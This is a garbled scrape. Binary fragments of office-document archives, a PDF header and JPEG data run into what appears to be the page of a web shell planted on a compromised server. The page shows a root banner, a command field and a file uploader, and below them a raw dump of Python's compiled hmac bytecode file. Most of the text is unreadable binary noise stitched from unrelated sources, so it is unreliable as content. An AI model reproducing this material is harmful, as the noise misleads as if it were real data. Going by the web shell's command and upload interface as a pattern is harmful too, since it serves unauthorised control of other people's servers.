œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /lib64/python3.12/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //lib64/python3.12/__pycache__/hmac.cpython-312.opt-1.pyc
�

v�hk��$�dZddlZ	ddlZej
Zeej�ZddlZej�s*ed�ed�D��Zed�ed�D��ZdZGd�d�Zdd	�Zd
�Zy#e	$r
dZdZddl
mZY�dwxYw)zqHMAC (Keyed-Hashing for Message Authentication) module.

Implements the HMAC algorithm as described by RFC 2104.
�N)�_compare_digestc#�&K�|]	}|dz���y�w)�\N���.0�xs  �/usr/lib64/python3.12/hmac.py�	<genexpr>r�����4��A�a�$�h�����c#�&K�|]	}|dz���y�w)�6Nrrs  r
rrrr
c�Z�eZdZdZdZdZdd�Zd�Zd�Ze	d��Z
d	�Zd
�Zd�Z
d�Zd
�Zy)�HMACz~RFC 2104 HMAC class.  Also complies with RFC 4231.

    This supports the API for Cryptographic Hash Functions (PEP 247).
    �@)�_hmac�_inner�_outer�
block_size�digest_sizeNc��t|ttf�s!tdt	|�j
z��|std��t
j�str+t|ttf�r	|j|||�y|j|||�y#tj$r+t
j�r�|j|||�YywxYw)a?Create a new HMAC object.

        key: bytes or buffer, key for the keyed hash object.
        msg: bytes or buffer, Initial input for the hash or None.
        digestmod: A hash name suitable for hashlib.new(). *OR*
                   A hashlib constructor returning a new hash object. *OR*
                   A module supporting PEP 247.

                   Required as of 3.8, despite its position after the optional
                   msg argument.  Passing it as a keyword argument is
                   recommended, though not required for legacy API reasons.
        z,key: expected bytes or bytearray, but got %rz&Missing required argument 'digestmod'.N)
�
isinstance�bytes�	bytearray�	TypeError�type�__name__�_hashopenssl�
get_fips_mode�str�	_functype�
_init_hmac�UnsupportedDigestmodError�	_init_old��self�key�msg�	digestmods    r
�__init__z
HMAC.__init__'s����#��y�1�2��J�T�RU�Y�M_�M_�_�`�`���D�E�E��%�%�'�L�Z�	�TW�Yb�Sc�=d�
4�����S�)�4�
�N�N�3��Y�/�� �9�9�
4��-�-�/�����s�C��3�
4�s�6B�;C�Cc��tj|||��|_|jj|_|jj|_y)N)r+)r �hmac_newrrrr's    r
r$zHMAC._init_hmacEs;��!�*�*�3��y�I��
��:�:�1�1����*�*�/�/���c���tj�r|j||��St��r�}nt	�t
�rd	�fd�	}nd	�fd�	}d|_|�|_|�|_|jj|_	t|jd�rR|jj}|dkrktjd||jfztd�|j}n4tjd|jztd�|j}t!|�|kDr||�j#�}||_|j%|d�}|jj'|j)t*��|jj'|j)t,��|�|j'|�yy)
Nc�0��tj�|�S�N��_hashlib�new��dr+s �r
�<lambda>z HMAC._init_old.<locals>.<lambda>Qs������Y��(Br/c�&���j|�Sr2�r5r6s �r
r8z HMAC._init_old.<locals>.<lambda>Ss���	�
�
�a�(8r/r�z:block_size of %d seems too small; using our default of %d.�z<No block_size attribute on given digest object; Assuming %d.��r/)r r!r$�callablerr"rrrr�hasattrr�	_warnings�warn�	blocksize�RuntimeWarning�len�digest�ljust�update�	translate�trans_5C�trans_36)r(r)r*r+�digest_consrCs   `  r
r&zHMAC._init_oldJsv����%�%�'��?�?�3��Y�7�7��I��#�K�
�	�3�
'�B�K�8�K���
�!�m���!�m����;�;�2�2����4�;�;��-����.�.�I��2�~���� 0�3<�d�n�n�2M� N�-�q�2�!�N�N�	��N�N�*�-1�^�^�=�)�1�
.����I��s�8�i���c�"�)�)�+�C�$����i�i�	�5�)�������3�=�=��2�3������3�=�=��2�3��?��K�K���r/c�x�|jr|jjSd|jj��S)Nzhmac-)r�namer)r(s r
rNz	HMAC.namets/���:�:��:�:�?�?�"��4�;�;�+�+�,�-�-r/c�Z�|jxs|j}|j|�y)z,Feed data from msg into this hashing object.N)rrrH)r(r*�insts   r
rHzHMAC.update{s ���z�z�(�T�[�[�����C�r/c�r�|jj|j�}|j|_|jr/|jj	�|_dx|_|_|Sd|_|j
j	�|_|jj	�|_|S)zyReturn a separate copy of this hashing object.

        An update to this copy won't affect the original object.
        N)�	__class__�__new__rr�copyrr)r(�others  r
rTz	HMAC.copy�s������&�&�t�~�~�6�� �,�,����:�:��*�*�/�/�+�E�K�*.�.�E�L�5�<�
���E�K��;�;�+�+�-�E�L��;�;�+�+�-�E�L��r/c��|jr|jS|jj�}|j|jj��|S)zwReturn a hash object for the current state.

        To be used only internally with digest() and hexdigest().
        )rrrTrHrrF�r(�hs  r
�_currentz
HMAC._current�sE��
�:�:��:�:����� � �"�A�
�H�H�T�[�[�'�'�)�*��Hr/c�B�|j�}|j�S)z�Return the hash value of this hashing object.

        This returns the hmac value as bytes.  The object is
        not altered in any way by this function; you can continue
        updating the object after calling this function.
        )rYrFrWs  r
rFzHMAC.digest�s��
�M�M�O���x�x�z�r/c�B�|j�}|j�S)zKLike digest(), but returns a string of hexadecimal digits instead.
        )rY�	hexdigestrWs  r
r\zHMAC.hexdigest�s��
�M�M�O���{�{�}�r/�N�)r�
__module__�__qualname__�__doc__rC�	__slots__r,r$r&�propertyrNrHrTrYrFr\rr/r
rrsR����I��I�0�<0�
(�T�.��.��
�"
��r/rc��t|||�S)a�Create a new hashing object and return it.

    key: bytes or buffer, The starting key for the hash.
    msg: bytes or buffer, Initial input for the hash, or None.
    digestmod: A hash name suitable for hashlib.new(). *OR*
               A hashlib constructor returning a new hash object. *OR*
               A module supporting PEP 247.

               Required as of 3.8, despite its position after the optional
               msg argument.  Passing it as a keyword argument is
               recommended, though not required for legacy API reasons.

    You can now feed arbitrary bytes into the object using its update()
    method, and can ask for the hash value at any time by calling its digest()
    or hexdigest() methods.
    )r)r)r*r+s   r
r5r5�s��"��S�)�$�$r/c���t�.t�ttf�r	tj||��St
��r�}nt�t�rd�fd�	}nd�fd�	}|�}|�}t|dd�}t|�|kDr||�j�}|d|t|�z
zz}|j|jt��|j|jt��|j|�|j|j��|j�S#tj
$rY��wxYw)aJFast inline implementation of HMAC.

    key: bytes or buffer, The key for the keyed hash object.
    msg: bytes or buffer, Input message.
    digest: A hash name suitable for hashlib.new() for best performance. *OR*
            A hashlib constructor returning a new hash object. *OR*
            A module supporting PEP 247.
    c�0��tj�|�Sr2r3�r7rFs �r
r8zdigest.<locals>.<lambda>�s���H�L�L���$;r/c�&���j|�Sr2r:rgs �r
r8zdigest.<locals>.<lambda>�s
���F�J�J�q�Mr/rrr=r>)r rr"r#�hmac_digestr%r?�getattrrErFrHrIrKrJ)r)r*rFrL�inner�outerrCs  `    r
rFrF�s�����J�v��Y�7G�$H�	��+�+�C��f�=�=������	�F�C�	 �;��1���M�E��M�E���|�R�0�I�
�3�x�)���#��%�%�'��

��9�s�3�x�/�0�
0�C�	�L�L����x�(�)�	�L�L����x�(�)�	�L�L���	�L�L����� ��<�<�>���)�5�5�	��	�s�D<�<E�Er])ra�warningsrAr4r �compare_digestr�openssl_sha256r#�ImportError�	_operatorr�hashlibr!r�rangerJrKrrr5rFrr/r
�<module>rts����
�2�#�"�0�0�N��\�0�0�1�I��!�|�!�!�#��4��s��4�4�H��4��s��4�4�H���O�O�b%�( ��q�<��L��I�;�<�s�A=�=B�B

........